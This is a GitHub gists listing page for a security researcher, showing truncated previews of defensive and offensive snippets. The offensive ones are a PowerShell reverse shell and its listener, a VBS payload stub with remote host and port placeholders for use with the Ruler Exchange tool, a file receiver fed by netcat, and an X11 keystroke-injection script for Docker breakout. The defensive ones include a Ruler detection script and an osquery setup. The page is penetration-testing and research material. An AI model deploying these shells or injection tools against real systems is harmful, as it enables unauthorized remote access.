staaldraad’s gists

staaldraad / docker-compose.yml

Created June 12, 2017 09:17

A docker-compose yml to use with Doorman and osquery


	version: '2'
	services:
	doorman:
	image: doorman
	container_name: "doorman"
	build:
	context: ./doorman
	dockerfile: Dockerfile_doorman
	links:

staaldraad / onDC.ps1

Created May 30, 2017 14:47

Detect Possible Ruler usage On Exchange and Domain Controller

	Get-EventLog -InstanceId 4776 -LogName "Security" \| ForEach-Object {
	$sp = $_.message -split "`n"
	$tmp = $sp \| Select-String -Pattern 'RULER'
	if($tmp.count -ge 1){
	Write-Host "Possible Ruler usage at: " $_.TimeGenerated
	$sp \| Select-String -Pattern 'Logon Account:' \| write-host
	}
	}

staaldraad / Command.vbs

Last active May 13, 2024 09:04

Using VBSMeter with Ruler

	Call X()
	End Function

	Dim RHOST: RHOST = "x.x.x.x"
	Dim RPORT: RPORT = "8999"

	Function Base64ToStream(b)
	Dim enc, length, ba, transform, ms
	Set enc = CreateObject("System.Text.ASCIIEncoding")
	length = enc.GetByteCount_2(b)

staaldraad / ioctlfilter.c

Created March 21, 2017 13:56

Filters keycodes from R400 presenter in Linux

	/* Grabs all input from Logitech R400 presenter and filters to ensure only certain keys are pressed.
	* Ensures that only valid R400 keys are pressed and not rogue keys injected.
	* Main logic for this found here: http://stackoverflow.com/questions/7668872/need-to-intercept-hid-keyboard-events-and-then-block-them
	* Author: Etienne Stalmans <[email protected]>
	*/

	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>
	#include <unistd.h>

staaldraad / webdavserv.go

Last active June 18, 2024 14:34

A small webdav server in go

staaldraad / receivefile.ps1

Created February 24, 2017 16:28

Small powershell script to bind to port, accept connection and stream to file. useful for ```cat blah.exe | nc 192.168.1.7 8080```

	$socket = new-object System.Net.Sockets.TcpListener('0.0.0.0', 1080);
	if($socket -eq $null){
	exit 1;
	}
	$socket.start();
	$client = $socket.AcceptTcpClient();
	$stream = $client.GetStream();
	$buffer = new-object System.Byte[] 2048;
	$file = 'c:/afile.exe';
	$fileStream = New-Object System.IO.FileStream($file, [System.IO.FileMode]'Create', [System.IO.FileAccess]'Write');

staaldraad / count words and sort

Created December 9, 2016 11:56

Count all words in a list and sort

grep -v "^\s*$" /tmp/cracked| sort | uniq -c | sort -bnr

staaldraad / mini-reverse.ps1

Created October 3, 2016 14:49

A reverse shell in Powershell

	$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
	if($socket -eq $null){exit 1}
	$stream = $socket.GetStream();
	$writer = new-object System.IO.StreamWriter($stream);
	$buffer = new-object System.Byte[] 1024;
	$encoding = new-object System.Text.AsciiEncoding;
	do
	{
	$writer.Flush();
	$read = $null;

staaldraad / mini-reverse-listener.ps1

Created October 3, 2016 14:49

A reverse shell listener in powershell


	$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);

	if($socket -eq $null){
	exit 1
	}

	$socket.start()
	$client = $socket.AcceptTcpClient()
	write-output "[*] Connection!"

staaldraad / x11.py

Last active August 28, 2022 05:09

Python script to do keystrokes via X11 abstract socket. Useful for silly docker breakout.

	#!/usr/bin/python
	"""
	Python script to connect to an abstract unix socket created by X11 and send arbitrary key-strokes.
	Created by: [email protected]
	Credits to: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
	Borrowed heavily from the original metasploit module. Thanks!
	"""

	from socket import *
	import subprocess

Etienne Stalmans staaldraad